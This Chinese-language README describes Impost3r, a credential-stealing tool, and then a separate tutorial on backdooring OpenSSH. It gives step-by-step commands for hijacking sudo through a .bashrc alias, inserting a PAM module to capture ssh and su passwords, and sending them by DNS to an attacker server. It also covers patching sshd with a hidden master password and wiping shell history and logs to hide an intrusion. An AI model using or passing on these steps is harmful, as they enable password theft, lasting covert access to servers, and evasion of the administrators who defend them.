Impost3r

GitHub issues
GitHub stars
GitHub forks
GitHub license

English

Impost3r是一个利用C语言编写,用来窃取linux下各类密码(ssh,su,sudo)的工具

用户可使用此程序制造水坑,窃取合法用户的密码

此工具仅限于安全研究和教学,用户承担因使用此工具而导致的所有法律和相关责任! 作者不承担任何法律和相关责任!

特性

  • 自动擦除行为痕迹
  • 通过DNS协议传输结果
  • 用户无感

依赖

  • gcc

使用方法

Impost3r可以用来窃取包括sudo、su、ssh服务在内的密码,这三个服务可大致分为2类,sudo以及ssh/su,下面分两种情况讨论

窃取sudo密码

仅需要普通用户权限即可,不要求一定是root,但只能窃取对应用户的密码,不能窃取其他用户的

  • 首先假设攻击者控制了一台服务器,权限为普通用户权限
  • 检查用户根目录下是否存在.bash_profile文件,如果.bash_profile存在:检查.bash_profile文件中是否主动加载了.bashrc,如果主动加载,则跳过此步骤及下两步检查,继续进行之后的操作,如果未主动加载,那么跳过下两步检查,且下文中所有针对.bashrc的操作全部更换为针对.bash_profile的操作!!!;如果.bash_profile不存在: 进行下一步检查。
  • 检查用户根目录下是否存在.bash_login文件,如果.bash_login存在:检查.bash_login文件中是否主动加载了.bashrc,如果主动加载,则跳过此步骤及下一步检查,继续进行之后的操作,如果未主动加载,那么跳过下一步检查,且下文中所有针对.bashrc的操作全部更换为针对.bash_login的操作!!!;如果.bash_login不存在: 进行下一步检查。
  • 检查用户根目录下是否存在.profile文件,如果存在.profile文件:检查.profile文件中是否主动加载了.bashrc(默认情况下加载),如果主动加载,则跳过此步骤,继续进行之后的操作,如果未主动加载,那么下文中所有针对.bashrc的操作全部更换为针对.profile的操作!!!;如果.profile也不存在,原则上Impost3r将无法使用,当然你也可以视情况自己决定是否生成.bash_profile或者.profile文件,并往其中写入类似如下的加载代码来加载.bashrc
if [ -n "$BASH_VERSION" ]; then
    # include .bashrc if it exists
    if [ -f "$HOME/.bashrc" ]; then
    . "$HOME/.bashrc"
    fi
fi
  • 拷贝一份用户的.bashrc:cp ~/.bashrc /tmp/,并将这份副本放在攻击者自定义的路径下(本例中放置在/tmp/目录下,攻击者可以修改)
  • 修改用户根目录下的.bashrc(~/.bashrc),在最后一行添加如下语句(其中“/tmp/.impost3r”需要与下面的FILENAME保持一致):
alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
  • 添加完成后,保存文件并执行source ~/.bashrc
  • 接着攻击者需要对Impost3r源代码/sudo/main.h进行修改:
/*
    Custom setting
*/
# define FILENAME "/tmp/.impost3r" \\设置Impost3r在目标服务器上的位置
# define BACKUP_ORI_FILENAME ".bashrc" \\表明攻击者所备份的源用户配置文件是.bashrc还是.bash_profile、.profile、.bash_login
# define BACKUP_ORI_PATH "/tmp/.bashrc" \\表明攻击者所备份的源用户配置文件在目标服务器上的位置
# define SAVE_OR_SEND 0 \\设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送)

/*
    Send to server
*/
# define YOUR_DOMAIN ".com" \\注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值;
\\但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口)
# define MAX_RESEND 30 \\设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数
# define RESEND_INTERVAL 5 \\设置每一次发送密码的间隔
# define REMOTE_ADDRESS "192.168.0.12" \\设置回送密码的远程地址
# define REMOTE_PORT 53 \\设置回送密码的远程端口

/*
    Save to local
*/
# define SAVE_LOCATION "/tmp/.cache" \\设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
  • 修改完成后,保存并在当前目录执行make
  • 在当前目录下得到编译完成的.impost3r文件
  • 上传(尽量在目标服务器编译,防止产生非预期的错误).impost3r文件至目标服务器的/tmp/文件夹下(仅为示例,可自行修改,只需与源代码中定义相同即可)
  • 攻击者在自己的服务器上启动dns服务端程序,等待合法用户使用sudo后获取密码。

窃取效果

Tips

  • 在窃取sudo密码的情况下,Impost3r在成功后将会自动擦除痕迹,并不需要攻击者上去手动清理
  • Impost3r会自动判别用户输入的密码是否是正确密码,直到用户输入正确密码后才结束流程并擦除痕迹
  • 请在使用Impost3r之前自行使用sudo -v判断当前用户是否在sudoer组,如果不在,切勿使用Impost3r

窃取ssh/su密码

窃取ssh/su密码与上面sudo密码的窃取利用方法不同,要求必须是root权限,可以窃取任意用户密码

以下以Ubuntu为例,Centos类似,提到的文件位置可能有些许不同

  • 首先还是假设攻击者控制了一台服务器
  • 通过一顿提权操作获得了root权限(或者可爱的管理员就是用root权限启动的服务)
  • 先编辑Impost3r的/ssh_su/main.h源代码文件
/*
    Custom setting
*/
# define SSH_OR_BOTH 0 \\设置偷取模式,0代表仅偷取ssh密码,1代表偷取ssh及su密码,默认为0(后面会讲到区别)
# define SAVE_OR_SEND 0 \\设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送)

/*
    Send to server
*/
# define YOUR_DOMAIN ".com" \\注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值;
\\但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口)
# define MAX_RESEND 30 \\设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数(仅当SSH_OR_BOTH为0,此选项才有效)
# define RESEND_INTERVAL 5 \\设置每一次发送密码的间隔(仅当SSH_OR_BOTH为0,此选项才有效)
# define REMOTE_ADDRESS "192.168.0.12" \\设置回送密码的远程地址
# define REMOTE_PORT 53 \\设置回送密码的远程端口

/*
    Save to local
*/
# define SAVE_LOCATION "/tmp/.sshsucache" \\设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
  • 修改完成后,保存并在当前目录下执行make
  • 得到编译好的文件impost3r.so
  • 将编译完成的impost3r.so上传(尽量在目标服务器编译,防止产生非预期的错误)至目标机器的/lib/x86_64-linux-gnu/security下(不同机器可能文件夹名不同,请根据情况放置)
  • 进入/etc/pam.d下,这时分两种情况,如果选择的模式是仅偷取ssh密码,那么就需要执行vi sshd,在文件的最后添加如下语句
auth optional impost3r.so
account optional impost3r.so
  • 保存并退出,重启sshd服务service sshd restart
  • 而如果选择的是ssh和su密码一起偷取,那么就需要执行vi common-auth,添加相同语句,保存并退出后同样重启sshd服务
  • 攻击者在自己的服务器上启动dns服务端程序,等待合法用户使用ssh登陆目标机器或者使用su切换用户后获取密码。

窃取效果

Tips

  • 在窃取ssh/su密码的情况下,Impost3r由于权限原因无法清除痕迹,需要攻击者自己去清除
  • 请注意,如果设置仅窃取ssh密码,那么基本可以保证攻击者能百分百收到窃取结果,而如果设置两者同时窃取,则不一定保证攻击者能百分百收到结果(仅当设置为dns发送的时候,设置为本地保存不受影响)
  • 不推荐窃取su密码,而且由于用户的ssh密码与su密码是相同的,故而能不窃取su密码就不要窃取,ssh密码就足矣
  • 默认不窃取空密码,请自行尝试用户是否存在空密码(检查一下sshd的配置文件中是否有PermitEmptyPasswords yes,如果是空,那还窃取个鬼鬼。)

注意事项

  • Dns服务端程序我使用的是Fdns,并修改了一部分参数,大家可在文件夹Fdns下找到修改后的源代码,请自行利用命令gcc -o dns main.c util.c编译(注意要先修改main.c中的监听端口)
  • 在编译Fdns之前,请查看util.h中的YOUR_DOMAIN值,确保此值与被植入服务器上的Impost3r程序所编译时使用的YOUR_DOMAIN值是一致的,不然可能会导致窃取的失败
  • 此程序仅是闲暇时开发学习,功能可能存在bug,请多多谅解,也欢迎反馈问题

致谢

Linux操作系统的密码较难获取。而很多Linux服务器都配置了Openssh服务,在获取root权限的情况下,

可以通过修改或者更新OpenSSH代码等方法,截取并保存其SSH登录账号密码,甚至可以留一个隐形的后门,

达到长期控制linux服务器的目的。在很多Linux系统被入侵后都会在系统中留后门,使用OpenSSH留后门是入侵者的惯用方式之一,OpenSSh后门比较难于检测

那么怎么给添加OpenSSH后门以及防范后门呢

安装依赖包

[root@DaMoWang openssh-5.9p1]# yum -y install openssl openssl-devel pam-devel zlib zlib-devel

准备安装包

[root@DaMoWang ~]# ssh -V

OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

[root@DaMoWang ~]# ls /opt/

openssh-5.9p1.patch.tar.gz openssh-5.9p1.tar.gz
# openssh-5.9p1.patch 是补丁文件

解压

[root@DaMoWang ~]# cd /opt/

[root@DaMoWang opt]# tar xf openssh-5.9p1.tar.gz

[root@DaMoWang opt]# tar xf openssh-5.9p1.patch.tar.gz

[root@DaMoWang opt]# ls

openssh-5.9p1 openssh-5.9p1.patch openssh-5.9p1.patch.tar.gz openssh-5.9p1.tar.gz

给openssh打补丁

复制代码

[root@DaMoWang opt]# cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1

[root@DaMoWang opt]# which patch

/usr/bin/which: no patch in (/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin)

[root@DaMoWang opt]# yum install patch

[root@DaMoWang opt]# cd /opt/openssh-5.9p1

[root@DaMoWang openssh-5.9p1]# patch < sshbd5.9p1.diff # 打补丁就是修改替换原文件

patching file auth.c

patching file auth-pam.c

patching file auth-passwd.c

patching file canohost.c

patching file includes.h

patching file log.c

patching file servconf.c

patching file sshconnect2.c

patching file sshlogin.c

patching file version.h

复制代码

添加后门密码

[root@DaMoWang openssh-5.9p1]# vim includes.h

# 跳转到配置文件末尾处 , 修改默认配置

#define ILOG “/tmp/ilog” # 记录远程登录本机的用户和密码

#define OLOG “/tmp/olog” # 记录本机远程登录到其他主机的用户和密码

#define SECRETPW “apaajaboleh” # 后门密码

修改版本号

[root@DaMoWang openssh-5.9p1]# vim version.h

# 修改为当前OpenSSH的版本号

#define SSH_VERSION “OpenSSH_5.3”

#define SSH_PORTABLE “p1”

编译安装

[root@DaMoWang openssh-5.9p1]# ./configure –prefix=/usr \

–sysconfdir=/etc/ssh \

–with-pam \

–with-kerberos5 \

&& make && make install

 

可以看出来 安装的时候 , 已经把原有的ssh的所有命令全部替换 , 但是原有的配置文件并没有被替换 , 这样不容易被发现

重启ssh服务 测试一下

[root@DaMoWang openssh-5.9p1]# service sshd restart

停止 sshd: [确定]

正在启动 sshd: [确定]

[root@DaMoWang openssh-5.9p1]# ssh -V

OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

服务正常启动 , 版本也与原版本一致

测试是否能劫持用户密码

首先测试远程登录本机

现在并没有生成文件

用xshell远程连接一下

 用户名和密码被劫持 , 不仅仅是root用户  , 所有远程连接本机的用户都会被记录 

测试后面密码能否登录本机

为了看到效果 使用明文密码登录

连接以后 别留下脚印

[root@DaMoWang ~]# export HISTFILE=/dev/null

[root@DaMoWang ~]# export HISTSIZE=0

[root@DaMoWang ~]# export HISTFILESIZE=0

[root@DaMoWang ~]# echo >/root/.bash_history # 这个是历史命令的终极文件 不能删除 , 如果原来有内容 , 不能清除 可以是用sed替换

[root@DaMoWang ~]# sed -i ‘s/192.168.94.66/127.0.0.1/g’ /root/.bash_history

# 其他访问日志也可以用用sed替换ip , 瞒天过海